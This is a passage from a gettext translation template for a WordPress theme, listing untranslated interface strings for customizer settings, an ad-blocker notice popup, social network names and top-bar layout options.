#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:170
msgid "Slide Up"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:265
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:401
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:181
#: inc/options/framework/fields/background/background.php:273
msgid "Overlay"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_verticalnav_section.php:5
msgid "Logo for Vertical Mobile Nav"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_verticalnav_section.php:12
msgid "Custom Link for Logo Image on Vertical Mobile Nav"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_verticalnav_section.php:19
msgid "Disable Logo on Vertical Mobile Nav"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_verticalnav_section.php:26
msgid "Remove The Line Below Logo Image"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_verticalnav_section.php:33
msgid "Disable Social Icons on Vertical Mobile Nav"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_verticalnav_section.php:40
msgid "Use Brand Colors for Social Icons on Vertical Mobile Nav"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_verticalnav_section.php:47
msgid "Display Search Form on Vertical Mobile Nav"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_verticalnav_section.php:54
msgid "Turn of Uppercase on Menu Items"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_verticalnav_section.php:69
msgid "Select Custom Menu for Vertical Mobile Nav"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_verticalnav_section.php:87
msgid "Font Size for Social Icons"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_verticalnav_section.php:106
msgid "Font Size for Vertical Mobile Menu Items"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_verticalnav_section.php:126
msgid "Font Size for text on Search Form"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_adblocker_section.php:6
msgid "Ad Blocker Detector Pop-up"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_adblocker_section.php:8
msgid ""
"Block the adblockers from browsing the site, till they turn off the Ad "
"Blocker. "
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_adblocker_section.php:12
#: inc/customizer/default.php:216
msgid "Adblock Detected"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_adblocker_section.php:14
msgid "Pop-up Title"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_adblocker_section.php:20
msgid "Pop-up Message"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_adblocker_section.php:22
#: inc/customizer/default.php:215
msgid ""
"Please support us by disabling your AdBlocker extension from your browsers "
"for our website."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_adblocker_section.php:29
#: inc/customizer/default.php:217
msgid "Dismiss this message"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_adblocker_section.php:35
msgid "Number of seconds before displaying the message"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_adblocker_section.php:42
msgid "Is dismissable?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_adblocker_section.php:44
msgid "Allow visitors to dismiss the message."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_adblocker_section.php:50
msgid "Don't show again after dismissing"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_adblocker_section.php:57
msgid "Don't show for user group"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_adblocker_section.php:75
msgid "Popup Colors"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_adblocker_section.php:89
msgid "Popup Icon Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_adblocker_section.php:96
msgid "Popup Heading Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_adblocker_section.php:110
msgid "Popup Button Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_adblocker_section.php:117
msgid "Popup Button Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:7
msgid "Upload Favicon"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:11
msgid "Featured Images Type:"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:13
msgid ""
"This feature does not apply to Featured Sliders and certain special areas. "
"For featured images on category mega menu items, please select the option "
"for it via <strong>Customize > Logo & Header</strong>."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:26
msgid "Auto Get Featured Image from Post Content"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:29
msgid ""
"If you haven't uploaded featured images for your posts, this option will "
"automatically set the first image from the post content or the YouTube/Vimeo "
"thumbnail as the featured image."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:33
msgid "Custom Container Width"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:35
msgid "Default is 1170px. Minimum is 800px"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:53
msgid "Custom Container Width for Two Sidebars"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:55
msgid "Default is 1400px. Minimum is 800px"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:76
msgid ""
"The aspect ratio of an element describes the proportional relationship "
"between its width and height, for example, 3:2. The default aspect ratio for "
"featured images type \"Custom\" is 3:2. This option applies to the "
"\"Custom\" featured image type."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:80
msgid "Custom Border Radius for Featured Images"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:83
msgid ""
"Enter the value you want for the border radius here. You can use either "
"pixels or percentage. For example, 10px or 10%."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:87
msgid "Get Post Views Data From?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:93
msgid "Default - from The Theme"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:94
msgid "Custom Post Meta Field"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:99
msgid "Post Views Meta Key"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:102
msgid ""
"Please enter the post views meta key you wish to use in order to display the "
"number of post views. This option only applies when you have selected "
"\"Custom Post Meta Field\" as the \"Get Post Views Data From\" option."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:106
msgid "Set A Default Reading Time Value"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:108
msgid ""
"If you want to set a default value for the reading time, please enter it "
"here. For example, 3 mins."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:112
msgid "Estimate Reading Time base Post Content?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:114
msgid ""
"Please note that if you enable this option, any value set in \"Set A Default "
"Reading Time Value\" will be ignored."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:118
msgid "Reading Time: Words Per Minute"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:122
msgid ""
"Please note that this option only applies when you have enabled \"Estimate "
"Reading Time based on Post Content\"."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:128
msgid "Sort Posts By"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:142
msgid "Select Posts Order"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:153
msgid "Show Select Posts Order on Archive Pages"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:158
msgid ""
"Use Outline Social Icons Instead of Filled Social Icons for Your Social "
"Media?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:159
msgid ""
"You can refer to <a class=\"wp-customizer-link\" href=\"https://imgresources."
"s3.amazonaws.com/outline-social.png\" target=\"_blank\">this image</a> to "
"understand the difference between outline social icons and filled social "
"icons. Please note that some icons may not be available in the outline style."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:164
msgid "Use Outline Social Icons for Social Sharing?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:170
msgid "Select Separator Icon Between Posts Datas"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:171
msgid ""
"You can refer to <a class=\"wp-customizer-link\" href=\"https://imgresources."
"s3.amazonaws.com/separator-pmeta.png\" target=\"_blank\">this image</a> to "
"understand what the \"Separator Icon Between Posts Data\" is.\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:175
msgid "Default ( Vertical Line )"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:176
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:207
msgid "Horizontal Line"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:177
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:208
msgid "Circle Filled"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:178
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:209
msgid "Circle Bordered"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:179
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:210
msgid "Square Filled"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:180
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:211
msgid "Square Bordered"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:181
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:212
msgid "Diamond Square Filled"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:182
msgid "Diamond Square Bordered"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:187
msgid "Style for Post Categories Listing"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:188
msgid ""
"You can refer to <a class=\"wp-customizer-link\" href=\"https://imgresources."
"s3.amazonaws.com/cat_design.png\" target=\"_blank\">this image</a> to "
"understand the styles for post categories listing. You can change the "
"general color for it via General > Colors > Filled Categories Styles."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:193
msgid "Filled Rectangle"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:194
msgid "Filled Round"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:195
msgid "Filled Circle"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:200
msgid "Select Separator Icon Between Categories"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:201
msgid ""
"You can refer to <a class=\"wp-customizer-link\" href=\"https://imgresources."
"s3.amazonaws.com/separator-cat.png\" target=\"_blank\">this image</a>  to "
"understand what the \"Separator Icon Between Categories\" is. Please note "
"that this does not apply to the filled styles shown above."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:205
msgid "Default ( Diamond Square Bordered )"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:206
msgid "Vertical Line"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:217
#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:53
msgid "Disable Breadcrumb"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:225
msgid "Display Modified Date Replace with Published Date"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:232
msgid "Select Date Format"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:236
msgid "Default ( By Day, Month & Year )"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:237
msgid "Time Ago Format"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:243
msgid "Style for Blocks Loading Ajax"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:259
msgid "Enable Smooth Scroll"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:264
msgid "Enable Page Navigation Numbers"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:271
msgid "Page Navigation Numbers Alignment"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:283
msgid "Enable Sticky Sidebar"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:290
msgid "Disable Sidebar for BBPress Forums"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:297
msgid "Disable Sidebar for BBPress Forum"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:304
msgid "Disable Sidebar for BBPress Topic"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:311
#: inc/js_composer/shortcodes/pc_single_breadcrumb/settings.php:28
msgid ""
"Show Only Primary Category from \"Yoast SEO\" or \"Rank Math\" plugin for "
"Breadcrumb"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:318
msgid "Show Primary Category from \"Yoast SEO\" or \"Rank Math\" only"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:319
msgid ""
"If you are not using the \"Yoast SEO\" or \"Rank Math\" plugin, the first "
"category listed in the post categories will be displayed."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:326
msgid ""
"Show Primary Category from \"Yoast SEO\" or \"Rank Math\" at First ( When "
"you display full categories )"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:333
msgid "Get the Post Excerpt Length based on Number of Letters"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:334
msgid ""
"This option can help fix problems with excerpt length in Chinese or Japanese "
"languages."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:341
msgid "Limit User Access Media Library"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:342
msgid "Users can only access the media files that they have uploaded."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:349
msgid "Author Avatar Settings"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:354
msgid "Meta Author Display"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:358
#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:81
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:214
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:97
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:132
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:67
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:397
#: inc/js_composer/shortcodes/product_brand/settings.php:28
#: inc/js_composer/shortcodes/team_member/settings.php:216
#: inc/js_composer/shortcodes/testimonails/settings.php:257
#: inc/social-counter/admin-options.php:132
#: inc/social-counter/admin-options.php:171
#: inc/social-counter/admin-options.php:224
#: inc/social-counter/admin-options.php:262
#: inc/social-counter/admin-options.php:315
#: inc/social-counter/admin-options.php:360
#: inc/social-counter/admin-options.php:392
#: inc/social-counter/admin-options.php:431
#: inc/social-counter/admin-options.php:480
#: inc/social-counter/admin-options.php:523
#: inc/social-counter/admin-options.php:566
#: inc/social-counter/admin-options.php:604
#: inc/social-counter/admin-options.php:649
#: inc/social-counter/admin-options.php:695
#: inc/social-counter/admin-options.php:734
#: inc/social-counter/admin-options.php:774
#: woocommerce/single-product-reviews.php:92
msgid "Name"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:359
#: inc/elementor/modules/penci-snapchat/widgets/penci-snapchat.php:58
msgid "Avatar"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:360
msgid "Name & Avatar"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:367
#: inc/elementor/modules/penci-snapchat/widgets/penci-snapchat.php:63
msgid "Avatar Size"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:374
msgid "Avatar Border Radius"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:380
msgid "General Slider Options"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:385
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:676
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:321
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:133
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:265
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:330
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:603
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:749
#: inc/elementor/modules/penci-product/widgets/penci-product.php:393
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:659
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:299
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:281
msgid "Carousel Slider Effect"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:386
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:677
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:371
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:322
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:134
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:266
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:331
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:604
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:750
#: inc/elementor/modules/penci-product/widgets/penci-product.php:394
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:660
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:300
#: inc/js_composer/shortcodes/featured_slider/settings.php:60
msgid "The \"Swing\" effect does not support the loop option."
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:391
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:164
msgid "Swing"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:402
#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:62
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1271
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:768
msgid "Fade"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:403
#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:63
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:767
msgid "Slide"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:404
msgid "Coverflow"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:405
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:160
msgid "Flip"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:406
msgid "Cards"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:413
msgid "Sponsored Posts Options"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:418
msgid "Show Prefix Text Before Post Title"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:20
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:213
#: inc/instagram/widget.php:25
#: inc/js_composer/shortcodes/social_counter/settings.php:16
#: inc/user-profile.php:282 inc/widgets/social_counter.php:624
msgid "Instagram"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:34
msgid "LinkedIn"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:41
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:215
#: inc/js_composer/shortcodes/social_counter/settings.php:28
#: inc/social-counter/admin-options.php:433 inc/user-profile.php:278
#: inc/widgets/social_counter.php:632
msgid "Flickr"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:48
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:218
#: inc/js_composer/shortcodes/social_counter/settings.php:52
#: inc/user-profile.php:276 inc/widgets/social_counter.php:644
msgid "Behance"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:62
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:212
#: inc/js_composer/shortcodes/social_counter/settings.php:12
#: inc/user-profile.php:284 inc/widgets/social_counter.php:620
msgid "Youtube"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:70
msgid ""
"If you want to click email icon to link to your mail, please fill: mailto:"
"yourmail@hostmail. Change yourmail@hostmail.com to your mail. You also can "
"fill your contact link page here"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:84
#: inc/js_composer/shortcodes/social_counter/settings.php:76
msgid "Bloglovin"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:91
#: inc/js_composer/shortcodes/social_counter/settings.php:64
msgid "Vine"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:98
#: inc/user-profile.php:281
msgid "Soundcloud"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:105
#: inc/js_composer/shortcodes/social_counter/settings.php:84
#: inc/widgets/snapchat.php:27 inc/widgets/snapchat.php:29
msgid "Snapchat"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:112
#: inc/js_composer/shortcodes/social_counter/settings.php:88
msgid "Spotify"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:119
#: inc/js_composer/shortcodes/social_counter/settings.php:48
#: inc/social-counter/admin-options.php:567 inc/user-profile.php:277
msgid "Github"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:126
msgid "Stack Overflow"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:133
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:221
#: inc/js_composer/shortcodes/social_counter/settings.php:96
#: inc/social-counter/admin-options.php:742 inc/user-profile.php:289
#: inc/widgets/social_counter.php:656
msgid "Twitch"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:140
#: inc/js_composer/shortcodes/social_counter/settings.php:68
msgid "Steam"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:147
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:216
#: inc/js_composer/shortcodes/social_counter/settings.php:36
#: inc/social-counter/admin-options.php:134 inc/user-profile.php:283
#: inc/widgets/social_counter.php:636
msgid "Vimeo"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:154
msgid "XING"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:182
msgid "Ok"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:189
msgid "500px"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:196
msgid "StumbleUpon"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:203
msgid "Wechat"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:210
#: inc/user-profile.php:287
msgid "Weibo"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:231
msgid "Discord"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:238
msgid "RSS Link"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:245
msgid "Slack"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:252
msgid "Mixcloud"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:259
msgid "Goodreads"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:266
msgid "Trip Advisor"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:273
msgid "Tik tok"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:308
msgid "Douban"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:315
msgid "QQ"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:6
msgid "Enable Top Bar"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:13
msgid "Hide Top Bar on Mobile"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:20
msgid "Use Full Width Container for Top Bar"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:27
msgid "Use Container 1400px for Top Bar"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:34
msgid "Re-order elements on Topbar"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:39
msgid "Custom Text - Top Posts - Topbar Menu - Social Icons"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:40
msgid "Custom Text - Top Posts - Social Icons - Topbar Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:41
msgid "Custom Text - Social Icons - Top Posts - Topbar Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:42
msgid "Custom Text - Social Icons - Topbar Menu - Top Posts"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:43
msgid "Custom Text - Topbar Menu - Social Icons - Top Posts"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:44
msgid "Custom Text - Topbar Menu - Top Posts - Social Icons"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:45
msgid "Top Posts - Custom Text - Topbar Menu - Social Icons"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:46
msgid "Top Posts - Custom Text - Social Icons - Topbar Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:47
msgid "Top Posts - Social Icons - Custom Text - Topbar Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:48
msgid "Top Posts - Social Icons - Topbar Menu - Custom Text"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:49
msgid "Top Posts - Topbar Menu - Social Icons - Custom Text"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:50
msgid "Top Posts - Topbar Menu - Custom Text - Social Icons"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:51
msgid "Topbar Menu - Custom Text - Social Icons - Top Posts"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:52
msgid "Topbar Menu - Custom Text - Top Posts - Social Icons"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:53
msgid "Topbar Menu - Social Icons - Custom Text - Top Posts"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:54
msgid "Topbar Menu - Social Icons - Top Posts - Custom Text"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:55
msgid "Topbar Menu - Top Posts - Custom Text - Social Icons"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:56
msgid "Topbar Menu - Top Posts - Social Icons - Custom Text"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:57
msgid "Social Icons - Custom Text - Top Posts - Topbar Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:58
msgid "Social Icons - Custom Text - Topbar Menu - Top Posts"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:59
msgid "Social Icons - Top Posts - Topbar Menu - Custom Text"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:60
msgid "Social Icons - Top Posts - Custom Text - Topbar Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:61
msgid "Social Icons - Topbar Menu - Custom Text - Top Posts"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:62
msgid "Social Icons - Topbar Menu - Top Posts - Custom Text"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:67
msgid "Topbar Current Date/Custom Text"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:74
msgid "Show Topbar Custom Text"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:81
msgid "Hide Topbar Custom Text on Mobile"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:88
msgid "Custom Text"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:95
msgid "Top Posts/News Ticker"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:102
msgid "Show \"Top Posts\" Section"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:109
msgid "Show \"Top Posts\" on Mobile"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:120
msgid "Custom Max-Width for \"Top Posts\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:211
msgid "Select \"Top Posts\" Category"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:214
msgid ""
